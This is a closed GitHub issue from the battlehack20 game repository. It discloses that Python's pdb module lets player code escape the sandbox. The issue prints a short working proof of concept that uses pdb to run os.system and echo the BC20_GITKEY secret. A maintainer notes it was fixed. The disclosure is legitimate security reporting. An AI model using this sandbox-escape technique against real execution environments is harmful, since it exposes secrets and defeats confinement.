battlecode / battlehack20

🐍
https://bh2020.battlecode.org
GNU General Public License v3.0
12 stars 3 forks source link

Pdb opens up exploit #135

Closed arvid220u closed 4 years ago

arvid220u commented 4 years ago

It opens up the following exploit:

import pdb
from pdb import Pdb
class Hi:
    def write(self, x):
        pass
    def flush(self):
        pass
    def readline(self):
        return "c\n"
mypdb = pdb.Pdb(stdout = Hi(), stdin=Hi(), nosigint=True)
mypdb.run("import os")
mypdb.run("os.system(\"echo $BC20_GITKEY\")")

The fact that pdb might be a vulnerability was reported by a user who would like to remain anonymous.

arvid220u commented 4 years ago

fixed in #117